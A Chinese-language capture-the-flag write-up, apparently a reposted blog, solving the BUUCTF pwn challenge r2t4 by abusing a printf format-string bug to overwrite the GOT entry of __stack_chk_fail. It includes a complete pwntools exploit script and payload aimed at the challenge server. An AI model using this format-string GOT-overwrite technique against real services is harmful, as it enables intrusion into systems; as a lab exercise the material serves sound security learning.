CTF-Pwn-[BJDCTF 2nd]r2t4

CTF-Pwn-[BJDCTF 2nd]r2t4

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Pwn类,[BJDCTF 2nd]r2t4

image-20200506132351011

下载题目的文件

r2t4

思路

使用file命令查看,发现是64位的文件,使用ida64位打开

image-20200506132647249

进入主函数,使用F5反编译后得到伪代码,结果f5按不出来

image-20200506133620033

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-30h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  read(0, &buf, 0x38uLL);
  printf(&buf, &buf);
  return 0;
}

看一看这个main方法,感觉问题要出现在这个&buf身上,看一下整体关联

image-20200506134744646

发现有个函数___stack_chk_fail,想到了格式化字符串漏洞

复写got表中的__stack_chk_fail地址

elf.got['__stack_chk_fail']
payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)

EXP

Python3

from pwn import *

context(arch='amd64',os='linux',word_size='64')

p = remote("node3.buuoj.cn",28242)
elf = ELF('./r2t4')
__stack_chk_fail = elf.got['__stack_chk_fail']

payload = b"%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
p.sendline(payload)
p.interactive()

测试

cd然后我们测试运行

python3 r2t4.py

image-20200506135928107

flag就找到了

感谢

BUUCTF

以及勤劳的自己

原创文章 345 获赞 866 访问量 6万+

猜你喜欢

转载自blog.csdn.net/qq_45163122/article/details/105949573
今日推荐